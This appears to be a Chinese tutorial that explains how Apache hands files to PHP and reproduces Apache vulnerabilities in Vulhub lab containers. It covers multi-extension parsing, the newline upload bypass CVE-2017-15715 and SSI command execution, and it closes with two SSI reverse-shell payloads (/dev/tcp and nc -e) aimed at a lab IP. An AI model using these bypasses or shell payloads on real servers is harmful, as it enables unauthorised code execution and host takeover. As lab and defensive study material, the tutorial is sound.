- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- Apache中間件漏洞原理及復現方法
這篇文章主要講解了“Apache中間件漏洞原理及復現方法”,文中的講解內容簡(jiǎn)單清晰,易于學(xué)習與理解,下面請大家跟著(zhù)小編的思路慢慢深入,一起來(lái)研究和學(xué)習“Apache中間件漏洞原理及復現方法”吧!
apache是世界上使用排名第一的web軟件。他廣泛使用在各種計算機平臺,由于其跨平臺和安全性被廣泛使用,是最流行的web服務(wù)器端軟件之一。他快速、可靠并且通過(guò)簡(jiǎn)單的API擴充,將perl/python等語(yǔ)言解釋器編譯到服務(wù)器中。
apache的目錄結構:
bin 存在常用命令工具,例如:start.bat、httpd.bat cgi-bin 存放linux下常用的命令。例如:xxx.sh conf apache的相關(guān)配置文件,例如:httpd.conf error 錯誤日志記錄 htdocs 放網(wǎng)站源碼的地方 logs 日志 manual 手冊 modules 擴展模塊
下面講到apache的漏洞必須理解apache運行原理
很多小伙伴在搭建php+apache環(huán)境時(shí),經(jīng)常采用phpstudy,lamp、xampp等集成環(huán)境搭建,很容易忽略里面的一下原理,為了更好的理解本章中講到的漏洞,我們必須要說(shuō)一下apache與PHP的小秘密
下面我們通過(guò)下圖來(lái)說(shuō)一下完整的web請求流程:
請求從request開(kāi)始,到response結束
圖中簡(jiǎn)易描述了apache與php配合完成了一次web請求,apache在前,php在后,那兩者之間如何通信的呢,我們先了解一下php的框架。如下圖:
深入理解zend SAPIs: https://www.laruence.com/2008/08/12/180.html
簡(jiǎn)單理解:
通過(guò)上圖可以看出PHP的整體分為5層(類(lèi)似Android的架構圖),分別解釋下:
1.Zend Engine是PHP的底層實(shí)現,包含編譯和執行,底層由C語(yǔ)言實(shí)現。 2.Zend API、Zend Extension API是基于Zend底層對外封裝提供服務(wù)。 3.Extendions使用Extension API實(shí)現了擴展庫、標準庫,例如各種內置函數、連接庫等 4.SAPI是服務(wù)器應用程序編程接口,就是通過(guò)它來(lái)和apache、nginx、FastCGI交互 5.Application是最上層,也就是我們寫(xiě)的PHP代碼了
明白了上面的php的架構,那么現在關(guān)于apache和php通信的過(guò)程還是不明白?
apache本身不支持php解析,通過(guò)架構圖可以知道通過(guò)SAPI進(jìn)行通信,那么apache如何和SAPI通信呢,apache怎么知道是什么類(lèi)型的文件要解析為php,如果你動(dòng)手搭建過(guò)apache解析php的環(huán)境,就肯定了解這兩個(gè)問(wèn)題:
#加載php5_module模塊 LoadModule php5_module php5apache2_2.dll 路徑 #添加可以執行php的文件類(lèi)型,讓.php解析為php AddType application/x-httpd-php .php #或者將addtype變?yōu)橄旅娴模ㄔ赼pache 2.4.0~2.4.29中默認使用了該方式) <FilesMatch \.php$> SetHandler application/x-httpd-php </FilesMatch> 以及 <IfModule dir_module> DirectoryIndex index.html index.htm index.php index.phtml </IfModule>
apache通過(guò)LoadModule來(lái)加載php5_module模塊(php5apache2_2.dll),這樣做的目的是讓apache加載php5_module模塊來(lái)解析php文件。意思其實(shí)就是用loadmodule來(lái)加載php5_module。也就是吧php作為apache的一個(gè)子模塊來(lái)運行。當通過(guò)web訪(fǎng)問(wèn)php文件時(shí),apache就會(huì )調用php5_module來(lái)解析php代碼。
調用過(guò)程可以概況為:
HTTP->APACHE->PHP5_MODULE->SAPI-PHP
講到這里各位應該明白了apache是怎么調用php了吧
解析漏洞(CVE-2017-15715):未知擴展名解析漏洞
apache的解析漏洞依賴(lài)于一個(gè)特性:apache默認一個(gè)文件可以有多個(gè)以點(diǎn)分割的后綴,比如test.php.abc,當最右邊的后綴無(wú)法識別(不在mime.types文件內),則繼續向左識別,知道識別到合法后綴才能進(jìn)行解析,與windows不同,apache對文件的名解析不是僅僅認識最后一個(gè)后綴名,而是從右向左,依此識別,直到遇到自己可以解析的文件為止。
apache官方解釋地址: http://httpd.apache.org/docs/current/mod/directive-dict.html
通過(guò)phpstudy部署apache+php環(huán)境
訪(fǎng)問(wèn)phpinfo
apache的文件名擴展名的定義在conf/mime.types文件中
我們建立如下的文件來(lái)驗證該規則
訪(fǎng)問(wèn)phpinfo.png.abc文件
訪(fǎng)問(wèn)phpinfo.png文件
我們可以看到.png.abc的文件可以被解析為.png文件,那么我在php文件后面添加其他的php不能識別的后綴可以解析為php文件,用來(lái)繞過(guò)一些文件上傳限制的規則,并使其正常解析。
訪(fǎng)問(wèn)phpinfo.php.abc
根據上圖我們發(fā)現php.abc中的文件是通過(guò)txt訪(fǎng)問(wèn)展示,不能使用php解析,那是因為apache與php結合模式不同。
CGI模式:
CGI通常翻譯為共同網(wǎng)關(guān)接口,是HTTP服務(wù)器域機器上的其他程序進(jìn)行通信的一個(gè)接口,讓WEB服務(wù)器必要時(shí)啟動(dòng)額外的程序處理動(dòng)態(tài)內容。CGI是一種協(xié)議,他定義webserver域CGI程序的通信方式。缺點(diǎn)是每次客戶(hù)端請求都需要建立和銷(xiāo)毀進(jìn)程。因為HTTP要生成一個(gè)動(dòng)態(tài)頁(yè)面,系統就必須啟動(dòng)一個(gè)新的進(jìn)程以運行CGI程序,不斷地fork是一項很消耗時(shí)間和資源的工作。
FastCGI模式:
CGI解析器的反復加載是CGI性能低下的主要原因,如果CGI解析器保持在內存中,并接受GastCGI進(jìn)程管理器調度,則可以提供良好的信息,伸縮性等。
FastCGI是一個(gè)常駐型的CGI,可以一直執行,只要激活后,不需要每次花時(shí)間去fork一次。
Module模式:
apache的MPM的工作模式(多道處理模塊)用于定義apache在響應多個(gè)用戶(hù)請求時(shí)所工作的模型。有三種MPM模式:
prefork(一個(gè)請求一個(gè)進(jìn)程響應)
worker(一個(gè)請求用一個(gè)線(xiàn)程響應,啟動(dòng)多個(gè)進(jìn)程每個(gè)進(jìn)程生成多個(gè)線(xiàn)程)
event(一個(gè)進(jìn)程處理多個(gè)請求)
詳細請參考: https://blog.csdn.net/sinat_22991367/article/details/73431316
根據上述我們了解了apache與php結合的三種模式,那么不同模式和解析漏洞有什么關(guān)系呢,下面我們一起看一下:
使用module模式與php結合的所有版本 apache存在未知擴展名解析漏洞,使用fastcig模式與php結合的所有版本apache不存在此漏洞。并且,想利用此漏洞必須保障文件擴展名中至少帶有一個(gè)“.php”,否則將默認被作為txt/html文檔處理。
1、使用module模式域php結合的所有版本,apache存在未知擴展名解析漏洞 2、使用fastcgi模式域php結合的所有版本,apache不存在此漏洞未知擴展名解析漏洞 3、想利用此漏洞必須保證文件名至少帶有一個(gè)“.php”.否則將默認被作為txt/html文檔處理
Apache 2.0 Handler使用的為module模式
詳解參考 https://blog.csdn.net/wn314/article/details/77074477
安裝apache
kali虛擬機中包含有apache,在/etc/目錄下
cd /etc/ ls -al apache2/
啟動(dòng)apache
/etc/init.d/apache2 start /etc/init.d/apache2 status service apache2 restart netstat -tnlp
訪(fǎng)問(wèn)80端口
安裝php
同上kali虛擬機中是包含有php的,也在/etc/目錄下面
php -v #查看php版本
測試apache是否可以解析php文件
在/var/www/html目錄下創(chuàng )建index.php文件
touch index.php #創(chuàng )建文件 #在文件中添加 <?phpinfo();?> #編輯文件 gedit index.php
訪(fǎng)問(wèn)index.php
apache2和apache目錄不同,apache2大致分為conf、mods、sites目錄及一些配置文件,每個(gè)目錄都有enabled類(lèi)型和availablelia后綴兩種。
enabled #是啟動(dòng)文件,里面默認放的是 availble #文件夾中的配置文件的軟鏈接。 avaibled #中的放的文件才是真正的配置文件。 ports.conf #為服務(wù)器監聽(tīng)IP和端口設置的配置文件, apache2.conf #對應httpd.conf文件 sites-available #如果apache上配置了多個(gè)虛擬主機,每個(gè)虛擬主機的配置文件在目錄中 mods-available #是存放apache功能模塊的配置文件和鏈接的,當我安裝了PHP模塊后,在這兩個(gè)目錄里就有了php5.load、php5.conf和指向這兩個(gè)文件的鏈接。
根據上面說(shuō)明,我們查看php的配置需要在sites-available目錄中
查看php7.3.conf文件,第一行就告訴了我們apache會(huì )將那些后綴的文件當做php解析
<FilesMatch ".+\.ph(ar|p|tml)$">
根據上面正則表示,當如下結尾的文件會(huì )被apache當做php解析
phar php phtml
apache這次解析漏洞的根本原因及時(shí)這個(gè) $ 字符,在正則表達式中,$ 符號用來(lái)匹配字符串結尾位置。
菜鳥(niǎo)教程解釋?zhuān)? https://www.runoob.com/regexp/regexp-syntax.html
漏洞復現
我們修改php7.3.conf文件中剛剛提到了正則表達式,意思為匹配后綴名帶.php、.phar、.phtml文件
<FilesMatch ".+\.ph(ar|p|tml)*"> 將 $ 修改為 *
重啟apache
service apache2 restart
測試訪(fǎng)問(wèn)phpinfo.php.jpg文件
我們看到果然phpinfo.php.jpg被當做php解析了。
總結利用條件
1.使用module模式,且正則符合條件 2.文件中至少帶一個(gè).php 3.apache解析文件名從右向左解析,即使最右邊的文件格式在mime.types文件內,只要文件中出現.php,就可以被php模塊解析
漏洞復現
訪(fǎng)問(wèn)phpinfo.php.jpg,正常情況下apache解析文件名從右向左解析,phpinfo.php.jpg首先解析jpg格式文件,所以顯示圖片。
在sites-enabled目錄下添加一個(gè)conf文件,意思為apache識別只要帶.php后綴的全部文件,
AddHandler application/x-httpd-php .php
重啟apache
service apache2 restart
訪(fǎng)問(wèn)phpinfo.php.jpg文件
利用總結
即使最右邊的文件格式在mime.types文件內,只要文件中出現.php,就可以被php模塊解析
漏洞復現
在mime.types文件中,不僅僅有php,還有php3、php4、php5等。
cat /etc/mime.types | grep php
在php7.4.php正則表達式,匹配php、phar、phtml
<FilesMatch ".+\.ph(ar|p|tml)$">
我們可以通過(guò)其他文件后綴名解析php文件,比如:phtml。在特定的時(shí)候,繞過(guò)一些限制
1、如果修改/etc/apache2/mods-enabled/phpxx.conf文件中第一行正版表達式,會(huì )出現文件解析漏洞。
<FilesMatch ".+\.ph(ar|p|tml)$"> 將 $ 修改為 * . \.等其他字符
2、如果在apache的/etc/apache2/apache2.conf中有這樣的配置
<FilesMatch ".jpg"> SetHandler application/x-httpd-php </FilesMatch>
這時(shí)候文件名為包含.jpg的文件,全部解析為php
3、在apache的sites-enabled目錄下添加一個(gè)conf文件,配置一行代碼:
AddHandler application/x-httpd-php .php
這時(shí)候只要文件名包含.php,就可以被解析為php
4、在/etc/apache2/mods-enabled/phpxx.conf正則表達式,匹配php、phar、phtml和在/etc/mime.types匹配php3、php4、php5等一些文件,我們在此范圍內修改后綴名上傳文件,可以簡(jiǎn)單繞過(guò)一下限制。
apache通過(guò)modl_php模式來(lái)運行腳本,其2.4.0-2.4.29中存在apache換行解析漏洞。在解析php時(shí)xx.php\0A將被安全.php后綴進(jìn)行解析,導致繞過(guò)一些安全機制。
在/etc/apache2/mods-enabled/php7.3.php第一行正則限制了可以解析的php文件類(lèi)型
正則表達式在結尾處$ 符號,如果設置了 RegExp 對象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。
利用這一機制,如果在文件名后添加換行符,是否可以繞過(guò)文件上傳限制,并同時(shí)達到可以讓php解析的地步的,下面我們開(kāi)始測試,即:
1.php\x0a = 1.php\n
curl -s https://get.docker.com/ | sh
查看docker版本
docker -v
apt install python-pip pip install docker-compose sudo apt install docker-compose
查看docker-compose版本
docker-compose -v
安裝完成docker和docker-compose之后,將valhue下載或者上傳到本地任意目錄
git clone https://github.com/vulhub/vulhub.git
或者將軟件包上傳到本地
cd vulhub-master/httpd/CVE-2017-15715/ # docker-compose up -d運行后,會(huì )自動(dòng)查找當前目錄下的配置文件。如果配置文件中包含的環(huán)境均已經(jīng)存在,則不會(huì )再次編譯;如果配置文件中包含的環(huán)境不存在,則會(huì )自動(dòng)進(jìn)行編譯。所以,其實(shí)docker-compose up -d命令是包含了docker-compose build的。 如果更新了配置文件,你可以手工執行docker-compose build來(lái)重新編譯靶場(chǎng)環(huán)境。 docker-compose build docker-compose up -d docker ps 列出所有在運行的容器信息。
訪(fǎng)問(wèn)8080端口
直接上傳文件,失敗
使用burp抓取請求報
發(fā)送到repeater,在1.php后添加.符號
.符號hex編碼為2e 0a在hex解碼或為換行符
將2e修改為0a
修改前
修改后
上傳成功
訪(fǎng)問(wèn)2.php文件
http://192.168.43.129:8080/2.php%0a
我們看一下,上傳的文件,\n對應這hex編碼中的0a
為什么加載0X0a就能讓給了呢,我們先看一下index.php的代碼
<?php if(isset($_FILES['file'])) { $name = basename($_POST['name']); $ext = pathinfo($name,PATHINFO_EXTENSION); if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) { exit('bad file'); } move_uploaded_file($_FILES['file']['tmp_name'], './' . $name); } else { ?> <!DOCTYPE html> <html> <head> <title>Upload</title> </head> <body> <form method="POST" enctype="multipart/form-data"> <p> <label>file:<input type="file" name="file"></label> </p> <p> <label>filename:<input type="text" name="name" value="evil.php"></label> </p> <input type="submit"> </form> </body> </html> <?php } ?>
可見(jiàn),這里用到了黑名單,如果發(fā)現后綴在'php', 'php3', 'php4', 'php5', 'phtml', 'pht'這幾個(gè)黑名單里,一律進(jìn)制上傳,進(jìn)行攔截。
根據前文我們提到,php模塊在解析php文件中通過(guò)正則表達式驗證可以解析的文件名,正則表達式在結尾處$ 符號,如果設置了 RegExp 對象的 Multiline 屬性,則 $ 也匹配 '\n' 或 '\r'。我們在文件結尾加上\x0a(\n),保證了文件解析的同時(shí),也可以繞過(guò)上傳黑名單。
0x0a和0x0d的區別:
0x0d、 \r、CR這三者代表回車(chē),是同一個(gè)意思,回車(chē)的作用只是移動(dòng)光標至該行的起始位置 0x0a、\n、CL這三者代表?yè)Q行,是同一個(gè)意思,換行至下一行行首起始位置
1、升級到最新版本 2、或將上傳的文件重命名為時(shí)間戳+隨機數+.jpg的格式,并禁用上傳文件目錄執行腳本權限
docker-compose up -d #啟動(dòng)所有服務(wù)并在后臺運行 docker-compose up ps #查看服務(wù)運行狀態(tài) docker-compose restart #重啟所有服務(wù) docker-compose restart myApp #重啟myApp服務(wù) docker-compose start #開(kāi)始所有服務(wù) docker-compose stop #停止所有服務(wù) docker-compose rm #刪除所有服務(wù) docker-compose build #重新編譯靶場(chǎng)環(huán)境
SSI(server-side includes):是放置在HTML頁(yè)面中的指令,他可以將動(dòng)態(tài)生成的內容添加到現在的HTML頁(yè)面,而不必通過(guò)CGI程序或其他動(dòng)態(tài)技術(shù)來(lái)提供整個(gè)頁(yè)面。以上是定義采用在apache官網(wǎng)對SSI的定義,說(shuō)白了就是可以在HTML中加入特定的指令,也可以引入其他的頁(yè)面。開(kāi)始SSI需要單獨配置Apache,參考:
https://httpd.apache.org/docs/2.4/howto/ssi.html
SSI可以完成查看時(shí)間、文件修改時(shí)間、CGI程序執行結果、執行系統命令、連接數據庫等操作,功能很強大。
在測試任意文件上傳漏洞時(shí)時(shí)候,目標服務(wù)器可能不允許上傳php后綴的文件。如果目標服務(wù)器開(kāi)啟了SSI與CGI支持,我們可以上傳一個(gè)shtml文件,并利用語(yǔ)法執行任意命令。
apache全版本(支持SSI與CGI)
此次測試使用docker搭建環(huán)境,環(huán)境采用Vulhub靶機
cd /root/vulhub-master/httpd/ssi-rce docker-compose up -d docker ps
cat upload.php
我們利用SSI執行系統命令的工作,正常一個(gè)包含SSI指令的文件,保存在test.shtml文件,內容如下:
<pre> <!--#exec cmd="whoami" --> </pre>
文件的后綴名取決于apache的配置,默認是此后綴。
如果后臺對后綴名校驗不嚴格時(shí),可以上傳shtml類(lèi)型文件,達到命令執行,獲取webshell的目錄。
訪(fǎng)問(wèn)shtml文件,看到whoami命令執行并返回了結果
<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.43.129/8888 0<&1 2>&1" --> <!--#exec cmd="nc 192.168.43.129 8888 -e /bin/bash"-->
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站